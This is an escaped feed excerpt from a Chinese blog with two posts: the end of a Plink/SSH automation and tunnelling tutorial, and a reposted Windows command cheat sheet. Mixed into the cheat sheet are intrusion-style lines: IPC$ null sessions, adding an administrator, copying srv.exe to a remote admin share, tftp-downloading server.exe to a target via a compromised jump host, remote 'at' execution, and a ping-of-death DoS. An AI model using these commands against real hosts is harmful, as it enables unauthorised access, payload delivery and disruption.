keyfile 就是指定登录时所用的密钥文件&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; "&gt;-m file 如果执行的命令很多的话，可以把命令写到文件中，然后用这个参数来指定&lt;/li&gt;&lt;/ul&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;还是用一些实际的例子来说明一下 Plink 吧&lt;br /&gt;还记得前面说到 PuTTY 的自动执行命令那个配置么？在说到那个配置的时候，我们演示了一个简单的 Tomcat 重新启动的命令，这个命令是要写在 PuTTY 的 Remote command 里面去。现在我们用 Plink 来实现同样的功能：&lt;br /&gt;假设连接的主机是 192.168.6.200，SSH 的端口是 3022，用户是 taylor：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink -P 3022 taylor@192.168.6.200 export CATALINA_HOME="~/apache-tomcat-5.5.17";export JAVA_HOME="~/jdk1.5.0_07";export PATH=$JAVA_HOME/bin;$PATH ; cd $CATALINA_HOME/bin;./shutdown.sh;./startup.sh;tail -f $CATALINA_HOME/logs/catalina.out&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;如果在 PuTTY 中保存了一个名为 192.168.6.200 的会话，注意，这个会话的名称与主机 IP 一样，在会话中已经正确保存了端口 3022，指定了默认的用户是 taylor，现在这个命令就可以简化为：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink 192.168.6.200 export CATALINA_HOME="~/apache-tomcat-5.5.17";export JAVA_HOME="~/jdk1.5.0_07";export PATH=$JAVA_HOME/bin;$PATH ; cd $CATALINA_HOME/bin;./shutdown.sh;./startup.sh;tail -f $CATALINA_HOME/logs/catalina.out&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;用 date 命令查看一下主机上的时间，并且格式化输出：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink 192.168.6.200 date "+%F %T"&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;大家实际执行一下命令看看，会发现，这个命令并没有返回我们期望的结果，而是返回了一个错误：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;C:\&amp;gt;plink 192.168.6.200 date "+%F %T"&lt;br /&gt;date: too many non-option arguments: %T&lt;br /&gt;Try `date --help' for more information.&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;可是在服务器上直接执行命令 date "+%F %T"，的确是正确无误的，哪里出了问题呢？这是因为Windows的控制台会把两个双引号之间的字符串作为一个参数传递给被执行的程序，而不会把双引号也传递给程序。我们做这样一个小小的实验来说明一下这个问题：&lt;br /&gt;比如在 c:\tmp 文件夹里建立三个文件夹，名称分别为："foo"、"bar"、"foo bar"。然后在 foo 这个文件夹里面建立一个名为&amp;#8220;foo.log&amp;#8221;的空文件，在&amp;#8220;bar&amp;#8221;这个文件夹里建立一个名为&amp;#8220;bar.log&amp;#8221;的空文件，在&amp;#8220;foo bar&amp;#8221;这个文件夹里建立一个名为&amp;#8220;foo-bar.log&amp;#8221;的空文件。&lt;br /&gt;然后在控制台下进入 c:\tmp 这个文件夹，执行如下命令：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;dir foo bar&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;结果是列出&amp;#8220;foo bar&amp;#8221;这个文件夹里的内容，还是分别列出&amp;#8220;foo&amp;#8221;和&amp;#8220;bar&amp;#8221;文件夹里的东西呢？正确答案是后者。&lt;br /&gt;要想正确列出&amp;#8220;foo bar&amp;#8221;文件夹里的东西，就需要用双引号把"foo bar"引起来&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;C:\tmp&amp;gt;dir foo bar&lt;br /&gt;Volume in drive C is System&lt;br /&gt;Volume Serial Number is 9C51-A51C&lt;br /&gt;&lt;br /&gt;Directory of C:\tmp\foo&lt;br /&gt;&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;2006-11-16&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 foo.log&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 File(s)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bytes&lt;br /&gt;&lt;br /&gt;Directory of C:\tmp\bar&lt;br /&gt;&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;2006-11-16&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bar.log&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 File(s)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bytes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 Dir(s)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1,107,345,408 bytes free&lt;br /&gt;&lt;br /&gt;C:\tmp&amp;gt;dir "foo bar"&lt;br /&gt;Volume in drive C is System&lt;br /&gt;Volume Serial Number is 9C51-A51C&lt;br /&gt;&lt;br /&gt;Directory of C:\tmp\foo bar&lt;br /&gt;&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;2006-11-22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 09:48&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;DIR&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;2006-11-16&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11:58&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 foo-bar.log&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 File(s)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 bytes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 Dir(s)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1,107,345,408 bytes free&lt;br /&gt;&lt;br /&gt;C:\tmp&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;说到这里，就会明白上面的那个命令 plink 192.168.6.200 date "+%F %T" 其实在主机上执行的真实命令是 date +%F %T，而不是命令行中指定的 date "+%F %T"。不过还好，Windows 的控制台可不认得单引号，所以上面那个命令的正确用法应该是：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;c:\&amp;gt;plink 192.168.6.200 date '+%F %T'&lt;br /&gt;2006-11-22 09:39:57&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;我经常需要登录到服务器上把 ADSL 重新拨号，可以把下面的命令写到一个文本文件中，比如保存到了 C:\adsl-restart.command.txt&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;echo "stoping..."&lt;br /&gt;/sbin/adsl-stop&lt;br /&gt;echo "starting..."&lt;br /&gt;/sbin/adsl-start&lt;br /&gt;echo "done."&lt;br /&gt;/sbin/adsl-status&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;然后执行如下命令：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink -m c:\adsl-restart.command.txt root@192.168.6.251&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;我经常要查看 Tomcat 的运行日志&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink taylor@192.168.6.200 tail -f ~/apache-tomcat-5.5.17/logs/catalina.out&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;每天都要看服务器上的剩余空间，就用这个命令：&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink taylor@192.168.6.200 df -k&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;假设 www.chaifeng.com 连接着另外一个网段 10.204.26.0，有台内网IP 为 10.204.26.21 的 Solaris 8主机只能用 telnet 登录，为了防止被监听，我们可以用 Plink 建立一个隧道，隧道开放 120 秒钟，如果隧道没有被使用，就自动断开连接，然后我们在本地就可以用命令 telnet localhost 2623 的安全登录那台 Solaris 8 主机了。&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink -L 2623:10.204.26.21:23 www.chaifeng.com sleep 120&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;在主机 www.chaifeng.com 上正在运行着 tor，默认的监听地址是 127.0.0.1:9050，用 Plink 建立一个隧道，然后浏览器上配置代理服务器为 127.0.0.1，端口是 9050，这样就能够安全的使用 tor 代理了，不用担心从我们的机器到主机 www.chaifeng.com 有被监听的可能了。&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink -C -N -L 9050:127.0.0.1:9050 taylor@www.chaifeng.com&lt;br /&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #6d6d6d; line-height: 26px; "&gt;结合上 PSCP 我们还可以完成文件的每天备份&lt;/p&gt;&lt;blockquote style='border:2px solid #EFEFEF;color:#333333;padding:5px 10px;'&gt;plink taylor@192.168.6.200 tar jcf $(date '+documents.%F.tar.bz2') ~/documents&lt;br /&gt;pscp taylor@192.168.6.200:$(date '+documents.%F.tar.bz2') c:\backup\&lt;br /&gt;plink taylor@192.168.6.200 rm -f $(date '+documents.%F.tar.bz2')&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;span  style="color: #6d6d6d; font-family: arial; font-size: 12px; line-height: 26px; "&gt;如果把这些常用的操作写成批处理文件，到时候要重启一下 Tomcat，或者马上察看一下 Tomcat 日志，再或者只是要把 ADLS 重新拨号以下，只需要用鼠标一双击这个批处理文件，稍等一下就自动完成了。不比你打开 PuTTY，登录到服务器上，然后再一个一个的执行命令，最后还得注销来的方便快捷么？&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2125623.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/08/02/2125623.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117793.html</id><title type="text">【转】系统管理类DOS命令汇总</title><summary type="text">转自：http://zhidao.baidu.com/question/98667271.htmlnet use \\ip\ipc$ &amp;quot; &amp;quot; /user:&amp;quot; &amp;quot; 建立IPC空链接 net use \\ip\ipc$ &amp;quot;密码&amp;quot; /user:&amp;quot;用户名&amp;quot; 建立IPC非空链接 net use h: \\ip\c$ &amp;quot;密码&amp;quot; /user:&amp;quot;用户名&amp;quot; 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H: net use \\ip\ipc</summary><published>2011-07-26T16:23:00Z</published><updated>2011-07-26T16:23:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117793.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/07/27/2117793.html"/><content type="html">&lt;div style="display: inline-block; "&gt;&lt;div&gt;&lt;span  style="font-family: arial, 宋体, sans-serif; font-size: 15px; line-height: 24px; "&gt;&lt;pre  id="content-322351091" style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Arial; white-space: pre-wrap; word-wrap: break-word; zoom: 1; "&gt;转自：&lt;a href="http://zhidao.baidu.com/question/98667271.html"&gt;http://zhidao.baidu.com/question/98667271.html&lt;/a&gt;&lt;/pre&gt;&lt;pre  id="content-322351091" style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Arial; white-space: pre-wrap; word-wrap: break-word; zoom: 1; "&gt;net use \\ip\ipc$ " " /user:" " 建立IPC空链接 &#xD;
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 &#xD;
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: &#xD;
net use h: \\ip\c$ 登陆后映射对方C：到本地为H: &#xD;
net use \\ip\ipc$ /del 删除IPC链接 &#xD;
net use h: /del 删除映射对方到本地的为H:的映射 &#xD;
net user 用户名 密码 /add 建立用户 &#xD;
net user guest /active:yes 激活guest用户 &#xD;
net user 查看有哪些用户 &#xD;
net user 帐户名 查看帐户的属性 &#xD;
net localgroup ***istrators 用户名 /add 把&amp;#8220;用户&amp;#8221;添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 &#xD;
net start 查看开启了哪些服务 &#xD;
net start 服务名  开启服务；(如:net start telnet， net start schedule) &#xD;
net stop 服务名 停止某服务 &#xD;
net time \\目标ip 查看对方时间 &#xD;
net time \\目标ip /set 设置本地计算机时间与&amp;#8220;目标IP&amp;#8221;主机的时间同步,加上参数/yes可取消确认信息 &#xD;
net view 查看本地局域网内开启了哪些共享 &#xD;
net view \\ip 查看对方局域网内开启了哪些共享 &#xD;
net config 显示系统网络设置 &#xD;
net logoff 断开连接的共享 &#xD;
net pause 服务名 暂停某服务 &#xD;
net send ip "文本信息" 向对方发信息 &#xD;
net ver 局域网内正在使用的网络连接类型和信息 &#xD;
net share 查看本地开启的共享 &#xD;
net share ipc$ 开启ipc$共享 &#xD;
net share ipc$ /del 删除ipc$共享 &#xD;
net share c$ /del 删除C：共享 &#xD;
net user guest 12345 用guest用户登陆后用将密码改为12345 &#xD;
net password 密码 更改系统登陆密码 &#xD;
netstat -a 查看开启了哪些端口,常用netstat -an &#xD;
netstat -n 查看端口的网络连接情况，常用netstat -an &#xD;
netstat -v 查看正在进行的工作 &#xD;
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） &#xD;
netstat -s 查看正在使用的所有协议使用情况 &#xD;
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 &#xD;
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&amp;#8220;-w数字&amp;#8221;用于设置超时间隔。 &#xD;
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：&amp;#8220;-l[空格]数据包大小&amp;#8221;；&amp;#8220;-n发送数据次数&amp;#8221;；&amp;#8220;-t&amp;#8221;指一直ping。 &#xD;
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) &#xD;
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&amp;#8220;/all&amp;#8221;显示全部配置信息 &#xD;
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &#xD;
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) &#xD;
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&amp;#8220;DEL/AR *.*&amp;#8221;表示删除当前目录下所有只读文件，&amp;#8220;DEL/A-S *.*&amp;#8221;表示删除当前目录下除系统文件以外的所有文件&#xD;
&#xD;
#2 二：&#xD;
&#xD;
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） &#xD;
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 &#xD;
fc one.txt two.txt &amp;gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&amp;gt; "和"&amp;gt; &amp;gt;" 是重定向命令 &#xD;
at id号 开启已注册的某个计划任务 &#xD;
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 &#xD;
at id号 /delete 停止某个已注册的计划任务 &#xD;
at 查看所有的计划任务 &#xD;
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 &#xD;
finger username @host 查看最近有哪些用户登陆 &#xD;
telnet ip 端口 远和登陆服务器,默认端口为23 &#xD;
open ip 连接到IP（属telnet登陆后的命令） &#xD;
telnet 在本机上直接键入telnet 将进入本机的telnet &#xD;
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 &#xD;
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下 &#xD;
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 &#xD;
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： &#xD;
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 &#xD;
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将&amp;#8220;IP&amp;#8221;的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 &#xD;
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机 &#xD;
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) &#xD;
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface &#xD;
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 &#xD;
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 &#xD;
mem 查看cpu使用情况 &#xD;
attrib 文件名(目录名) 查看某文件（目录）的属性 &#xD;
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 &#xD;
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 &#xD;
date /t 、 time /t 使用此参数即&amp;#8220;DATE/T&amp;#8221;、&amp;#8220;TIME/T&amp;#8221;将只显示当前日期和时间，而不必输入新日期和时间 &#xD;
set 指定环境变量名称=要指派给变量的字符 设置环境变量 &#xD;
set 显示当前所有的环境变量 &#xD;
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 &#xD;
pause 暂停批处理程序，并显示出：请按任意键继续.... &#xD;
if 在批处理程序中执行条件处理（更多说明见if命令及变量） &#xD;
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：&amp;#8220;：start&amp;#8221;标签） &#xD;
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） &#xD;
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） &#xD;
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 &#xD;
echo 信息 在屏幕上显示出信息 &#xD;
echo 信息 &amp;gt;&amp;gt; pass.txt 将"信息"保存到pass.txt文件中 &#xD;
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello &#xD;
find 文件名 查找某文件 &#xD;
title 标题名字 更改CMD窗口标题名字 &#xD;
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 &#xD;
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )&#xD;
&#xD;
#3 三：&#xD;
&#xD;
ver 在DOS窗口下显示版本信息 &#xD;
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） &#xD;
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS &#xD;
md 目录名 创建目录 &#xD;
replace 源文件 要替换文件的目录 替换文件 &#xD;
ren 原文件名 新文件名 重命名文件名 &#xD;
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 &#xD;
type 文件名 显示文本文件的内容 &#xD;
more 文件名 逐屏显示输出文件 &#xD;
doskey 要锁定的命令＝字符&#xD;
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= &#xD;
taskmgr 调出任务管理器 &#xD;
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 &#xD;
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 &#xD;
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe &#xD;
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 &#xD;
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? &#xD;
